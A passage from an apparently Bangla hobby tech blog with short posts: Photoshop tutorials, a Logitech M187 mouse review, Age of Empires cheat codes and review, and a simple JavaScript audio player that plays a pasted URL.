মজার ব্যাপার হল এই গেইম সব এন্ড্রয়েড ভার্সন সাপোর্ট করে।
একে তৈরি করেছে রানার গেইমস।



আরও পড়ুন

ফটোশপে মুখের দাগ তোলার ম্যাগী ২ মিনিট নুডুলস (ফটোশপ) টিউটোরিয়াল!

ফটোশপে মুখের দাগ তোলার ম্যাগী ২ মিনিট নুডুলস (ফটোশপ) টিউটোরিয়াল!
আসসালামু আলাইকুম,
কেমন আছেন সকলে?

এবার আমি আপনাদের দুই মিনিটেই কিভাবে ছবির মাঝে নিজের মুখ বা অন্য কোন স্থান থেকে স্পট তোলার পদ্দতি

নমুনা | মডেলঃ অভ্রনীল তৈয়ব


বেশ সোজা!

আপনারা এই টিউটোরিয়াল ফলো করলেই কাজটি বুঝে যাবেন।

১. ইমেজ লোড করুন




২. ক্লোন ষ্ট্যাম্প টুল সিলেক্ট করুন


৩. ছবির দৈহিক অঙ্গ প্রত্যঙ্গ (দাগের কাছাকাছি স্থান হলে ভালো হয়) এর উপর কার্সর রেখে Alt চেপে ধরে ক্লিক করুন, এতে ঐ স্থান কপি হয়ে যাবে। তবে এক স্থান সব যায়গায় প্লেস নাও হতে পারে। তখন যে স্থান হচ্ছে না, তার পাশ থেকে স্ট্যাম্প কপি করে নিতে হবে।




৪. এবার প্রয়োজন মতো দাগ ঢেকে ছবি সেভ করে নিন

(c) Tawsif's Editing

আরও পড়ুন

হ্যান্ডস অন রিভিউ :: Logitech m187 Wireless Mouse

হ্যান্ডস অন রিভিউ :: Logitech m187 Wireless Mouse
আসসালামু আলাইকুম,

আইডিবি থেকে বড় আপু মাউস কিনে আনল। সেটা দেখেই রিভিউ লিখতে বসলাম।







মাউসটি লজিটেক ব্র্যান্ডের এম ১৮৭ মডেলের। বেশ সুন্দর। ব্লুটুথ বা ওয়াইফাই ইউজ করে কাজ করে না। সরাসরি ওয়ারলেস দিয়ে কাজ করে। ২.৪ গিগাহার্জ ক্ষমতার ইউএসবি রিসিভার এবং ট্রান্সমিটার ব্যাবহার হয়েছে এই মাউসে। অনেক ছোট আকারে বলে ধরে রাখতেও আরাম।


২.৪ গিগাহার্জ হাই স্পিড টেকের কারণে মাউস সহজে ডিস্কানেক্ট হয় না। ৩ মিটার রেঞ্জ।
মাউস চালাতে লাগে একটা এএএ সাইজ ব্যাটারি। মানে মাত্র ১.৫ ভোল্ট!
ইনভিসিবল লেজার লাইট, তাই চার্জ কম খরচ হবে।
ইউএসবি রিসিভার ছাড়া কোনোভাবেই মাউস কাজ করবে না।

কেননা ওয়ারলেস টেকনোলোজি সম্পুরনই আলাদা, এর সাথে ওয়াইফাই বা ব্লুটুথের মিল থাকলেও ফ্রিকুয়েন্সি অনেক আলাদা। এবং এটি রিলায়েবল। অন্য কোন ব্লুটুথ বা ওয়াইফাই সিগন্যালের জন্য ডিস্রাপ্ট বা ডিসকানেক্ট হবার কোন চান্স নেই। মাউসটি দেরাজ ডট কম ডট বিডি (daraz.com.bd) এবং অন্যান্য অনালাইন স্টোর এবং আইডিবি কম্পিউটার সেন্টার এবং এলিফ্যান্ট রোডের মাল্টিপ্লান সেন্টারে পাবেন।
মাউসটির দাম ১০৫০ টাকা।
সকলকে ধন্যবাদ আমার এই বিরক্তিকর রিভিউ পড়ার জন্য।
তো অনেকে হয়ত তাদের কিছু সমস্যার সমাধান পেলেন, আবার নতুন কিছু জানলেনও।
তাই আজ আল্লাহ হাফেজ। সুযোগ পেলে আমার ব্লগে ঘুরে আসবেন, আপনার বয়স ১৮ এর কম হলে চাইলে ব্লগের নিউজ পোর্টালে রিপোর্টার হিসেবে যোগ দিতে পারেন।আমার ব্লগ ও নিউজ পোর্টাল জিআর+ বাংলাদেশ

সৌজন্যেঃ জিআর+ বাংলাদেশ

মাউসটির দাম ১০৫০ টাকা।



আরও পড়ুন

Cheats :: এইজ অফ এম্পায়ারস :: Age Of Empires

Cheats :: এইজ অফ এম্পায়ারস :: Age Of Empires

Code             Effect
CTRL + P       Immutable Structure
CTRL + T       New Resource Menu
CTRL + Q      Speed/Fast Construction
CTRL + C      View Ending

CodeEffect
BIGDADDYblack sports car with a rocket launcher
PEPPERONI PIZZA1000 food bonus
COINAGE1000 gold bonus
QUARRY1000 stone bonus
WOODSTOCK1000 wood bonus
UPSIDFLINTMOBILEAccelerates your Chariot Archers
DIEDIEDIEAll enemy units die
STEROIDSBuildings and units are created instantly
King ArthurChanges all birds into Dragons
PHOTON MANCreate a guy in a white suit with a quick- fire laser gun
E=MC2 TROOPERCreates a guy in a white suit with a slow- firing nuke gun
Big MommaCreates a White Sports Car
StormbillyCreates some sort of walker
GAIAGives you control over nature (but lose control over your own civilization)
KILLXKill player X
HOYOHOYOPriests are faster and stronger
NO FOGRemoves the fog of war
REVEAL MAPReveals the map
MEDUSATransforms villagers to Medusas
DARK RAINTurns a Bowman into a Composite Bowman which turns into a tree when not moving
BIG BERTHATurns Heavy Catapults into Big Berthas
BLACK RIDERTurns Horse Archers into Black Riders
FLYING DUTCHMANUpgrade your Catapult Tiremes/Juggernauts into Flying Dutchmen
HARI KARIYou lose the game
RESIGNYou resign
HOME RUNYou win the game
ICBMYour Ballistas and Helepolis have a 99+1 range
JACK BE NIMBLEYour catapults and stone throwers fire villagers, cows, etc.
Age of Empires Cheats
আরও পড়ুন

এইজ অফ এম্পায়ারস :: Age of Empires

এইজ অফ এম্পায়ারস :: Age of Empires






আসসালামু আলাইকুম,

ইতিহাস ভালো করে শিখতে চান? জানতে চান প্রাচীন জাতির জীবনযাপন, সংস্কৃতি এবং উত্থান-পতনের ইতিহাস? এসবই জানতে পারবেন।
বই পড়তে কার না ভালো লাগে?

তবে ইতিহাসের বই পড়তে যে অনেকেরই ভালো লাগে না এটা জানা কথা।
তাদের জন্যই আদর্শ এই গেইমটি!

গেইমটির নাম এইজ অফ এম্পেরর।

২০০০ সাল থেকে মাইক্রোসফট কর্পোরেশন এর ডেভেলপমেন্ট ও আপডেট তৈরি করে আসছে।

একেবারে এক্সপারট না হলেও বেশ মজা করেই খেলা যায়। গেইমটা অনেকটা সিওসিএর মতো, তবে এখানে পার্থক্য হল সিওসিতে মানুষ মানুষ যুদ্ধ করে,

আর এখানে মানুষ কম্পিউটার যুদ্ধ করে। তবে অনলাইন আর মাল্টিপ্লেয়ার অপশনও আছে।
এখানে একটা ফাংশান আছে যা সিওসি তে নেই,

সেটা হল এখানে খেলা শেষ হয়। :v সিওসিতে খেলার এন্ডিং নাই :3

হাহাহাহাহাহাহা!

এখানে যেকোনো সিভিলাইজেশন অনুযায়ী খেলোয়াড়ের ইউনিট বদলাবে।

মানে আপনি যদি যেকোনো একটি জাতি সিলেক্ট করে খেলা শুরু করেন, তখন সেই জাতি অনুযায়ী আপনার বাড়িঘর, হাটবাজার, ওয়ার্কশপ সবকিছুর স্টাইল বদলে যাবে।

একেক জাতির একেক ক্ষমতা থাকবে।

যেমন জাপানিরা সামুরাই যোদ্ধা পাবে, আর চীনেরা চু-কো-নু বা তীরন্দাজ। তেমনি বাইজান্টাইনেরা পাবে বারসার্ক।

এছাড়া খেলায় আছে ক্ল্যাটাপুট বা প্রাচীন কালের পাথরের গোলা ছোড়ার কামান। বেশ কিউট দেখতে, ছোট দেখে আরও কিউট লাগে :D

আছে ব্যালিস্টিক তীর।
wonder

নানাভাবে আপনাকে আপডেট করতে হবে নিজের টিমকে।

নিজের যায়গায় নিজের শহর গড়ে নিতে হবে। প্রথমেই দেওয়া হবে তিনজন ভিলেজার এবং একটি টাউন হল।

টাউন হল দিয়েই সব যাত্রার শুরু।

তারপর নিজের পপুলেশানের সাথে সাথে বাড়ি ঘর বাড়াতে হবে।

ব্যারাক তৈরি করে সৈন্য তৈরি করতে হবে। মার্কেট তৈরি করে বন্ধু জাতির সাথে ব্যাবসা বাণিজ্য চালাতে হবে।

গাছ কেটে ন্যাচারাল রিসোর্স সংগ্রহ করতে হবে।

মাটি কেটে সোনা এবং পাথর উত্তোলন করতে হবে।

নিজের যোদ্ধা এবং বাহিনি গড়ে তুলতে হবে। শহর সুরক্ষায় দেয়াল তুলে দিতে হবে।

নিজের মানুষদের হিল করার জন্য এবং নিজের আহত সৈনিকদের হিল করার জন্য আপনাকে টেম্পল থেকে প্রিস্ট তৈরি করে নিতে হবে।

এছাড়া আছে নদী। আপনাকে বন্দর তৈরি করতে হবে। জেলে নৌকা তৈরি করে মাছ আহরন করতে হবে। এছাড়া যুদ্ধজাহাজ বানিয়ে শত্রু থেকে আত্মরক্ষা করতে হবে এবং আক্রমন করতে হবে। এছারা এখানে আছে কাল্পনিক জাহাজ ফ্লাইং ডাচম্যান। যা জলে ডাঙ্গায় উভয়েচলে।







খেলা শেষ করতে হবে অবজেক্টিভ কমপ্লিট করে। অবজেক্টিভ থাকতে পারে, সব ন্যাচারাল রিলিক সংগ্রহ করা অথবা ওয়ান্ডার বানানো।

ওয়ান্ডার হতে পারে কোন বড় বাড়ি, ক্যাথেড্রাল অথবা মূর্তি!

গেইম খেলতে তেমন আহামরি কনফিগারেশন লাগবে না,

  • প্রসেসরঃ ২০০ মেগাহারজ
  • র‍্যামঃ ৬৪ এমবি
  • গ্রাফিক্স মেমরিঃ ৬৪ এমবি
  • ওএসঃ এক্সপি, ৭, ভিস্টা, ৯৮
  • এইচডিডিঃ ৫০০ এমবি

এরপর আসবে এজ অফ এম্পেরর ২ :: এজ অফ কিংসের রিভিউ!
সবাইকে আল্লাহ হাফেজ।

ডিএমসিএ সমস্যার জন্য কোন ডাউনলোড লিঙ্ক এখানে দেওয়া হল না। নিজেরা খুজে নিবেন।



আরও পড়ুন

Javascript URL ক্যাচার MP3 Player

Javascript URL ক্যাচার MP3 Player
আসসালামু আলাইকুম,
এই কোড লিখতে আমাকে ৩টি ফোরামে কোশ্চেন পোস্ট করতে হয়েছে। :v
তবে অনেক সাহায্য পেয়েছি।

এটা একটা অডিও যেটাতে অডিও ফাইলের সোর্স পেস্ট করে দিলে সেই অডিও বাজতে থাকবে।

রেফারেন্সঃ




কোডঃ
<script type="text/javascript">
function setAudio()
{
var url = document.getElementById('url').value;
var audioPlayer = document.getElementById('audioplayer');
audioPlayer.src = url;
}
</script>
<center class="lolmanaudio">
<br>
<input type="text" id="url"/>
<button onclick="setAudio()">set Audio</button>
<h5><a href="http://blog.grplusbd.net">GR+ Bangladesh</a></h5>
<audio id="audioplayer" src="" controls>
Your browser does not support the audio element.
</audio><br>...
</center>

<style>
.lolmanaudio{
background-color: yellow;
}
button{
display: block;
font-size: 1.1em;
font-weight: bold;
text-transform: uppercase;
padding: 10px 15px;
margin: 20px auto;
color: white;
background-color: lime;
background: -webkit-linear-gradient(#888, #555);
background: linear-gradient(#7aeb0c, #529d09);
border: 0 none;
border-radius: 3px;
text-shadow: 0 -1px 0 #000;
box-shadow: 0 1px 0 #666, 0 5px 0 #444, 0 6px 6px rgba(0,0,0,0.6);
cursor: pointer;
font-family: calibri;
width: 30%;
text-shadow: 2px 2px 2px black;
text-decoration: none;
}
button:hover{
background: linear-gradient(lime, #529d09);
}

#url {
background: linear-gradient(white, white);
border: 4px solid lime;
border-shadow: 4px 2px 2px 9px #000000;
padding: 20px 10px;
width: 95%;
}

input:focus::-webkit-input-placeholder {
color: transparent;
}

input:focus:-moz-placeholder {
color: transparent;
}

input:focus::-moz-placeholder {
color: transparent;
}

#url input {
outline: none;
}

#url input[type="text"] {
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf7l1vKbYzD5YWMhgQ2mRNz4KrrOSzJJsnEHfQr7q_CNOFzhsaEagwMxonB_eyh5dNf4ZORbcXOgZzfK1QKr235j8gTEZ-EnWQH4-H7ajHacdCOQ1pS8mcJyGQOLRdbof_daHP9TuhHGd1/s1600/search-dark.png) no-repeat 10px 6px #fff;
border-width: 1px;
border-style: solid;
border-color: transparent;
font: bold 12px siyam rupali;
color: black;
width: 90%;
padding: 8px 15px 8px 30px;
}
audio {
background:#ff0000;
box-shadow: 0px 2px 2px #ffffff;
border:#488A13 1px solid;
opacity: .75;
}
audio:hover{
background:#002200;
opacity: .9;
}
</style>
আরও পড়ুন

এখন ফটোশপে One Blur One Real ইফেক্ট দিন

এখন ফটোশপে One Blur One Real ইফেক্ট দিন
আসসালামু আলাইকুম,
কেমন আছেন?
আজকে আপনাদের ফটোশপে ছবিতে One Blur One Real ইফেক্ট দিতে শেখাবো। এটা মূলত অ্যাপ দিয়ে দেয়। তবুই ফটোশপে প্রফেশনালদের মতো করতে অন্য রকম মজা আছে।

তাহলে, এবার ফটোশপ চালু করে ছবি নিয়ে তৈরি হয়ে যান!

নমুনা ফলাফল


প্রথমে কাঙ্খিত ইমেজ ফটোশপে ওপেন করুন



লেয়ার ডুপ্লিকেট করে নিন



একটি লেয়ার হাইড করে দিন "চোখ" ক্লিক করে



এবার ব্লার (Blur) টুল সিলেক্ট করে নিন




এবার ইমেজের মাঝে রাইট ক্লিক করুন এবং এডজাস্ট করে নিন,
সাইজঃ 228 পিক্সেল
হার্ডনেসঃ 100% 


এবার পুরো ইমেজের ওপর ব্রাশ করে ব্লার করে দিন




এবার উপরের হাইড করা লেয়ারটি ভিজিবল করে দিন এবং রিসাইজ টুল সিলেক্ট করে নিন (ধাপ ১,২) এবং  Show Transform Control অস্পশনে টিক দিয়ে 
Left Alt + Left Shift চেপে ধরে মাউস দিয়ে ইমেজ রিসাইজ করলে ছবি ছোট বড় হবে। তারপর বুঝতেই পারবেন।

ধাপ ১
ধাপ ২


এবার Left Shift + S চাপলেই ইমেজ সেভ করতে পারবেন


আরও পড়ুন

মোট পাতাদর্শিত